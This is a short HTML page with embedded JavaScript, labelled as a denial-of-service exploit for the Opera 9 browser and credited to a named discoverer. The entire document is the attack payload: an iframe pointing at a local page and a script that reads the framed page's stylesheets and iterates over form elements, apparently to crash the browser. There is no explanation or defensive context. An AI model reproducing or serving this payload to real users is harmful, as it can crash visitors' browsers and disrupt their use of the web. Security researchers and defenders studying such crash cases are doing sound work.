&lt;!-- Opera 9 DOS exploit, discovered by 
     Ahmad Muammar W.K (y3dips[at]echo[dot]or[dot]id) 
     http://y3d1ps.blogspot.com
//--&gt;

&lt;html&gt;
&lt;iframe src=&quot;palsu.php&quot; name=&quot;fake&quot;  &gt;&lt;/iframe&gt; 
&lt;script type=&quot;text/javascript&quot;&gt;
function mystyle() {
    if (fake.document.styleSheets.length == 1 ) 
	{
      f = document.forms[&quot;basicstyle&quot;].elements;
      for (j = 0; j &lt; f.length; j++) 
	  	{
       	if (f[j].name == &#039;fsmain&#039;);
      	}  
      }

 }
mystyle();
&lt;/script&gt;
&lt;/html&gt;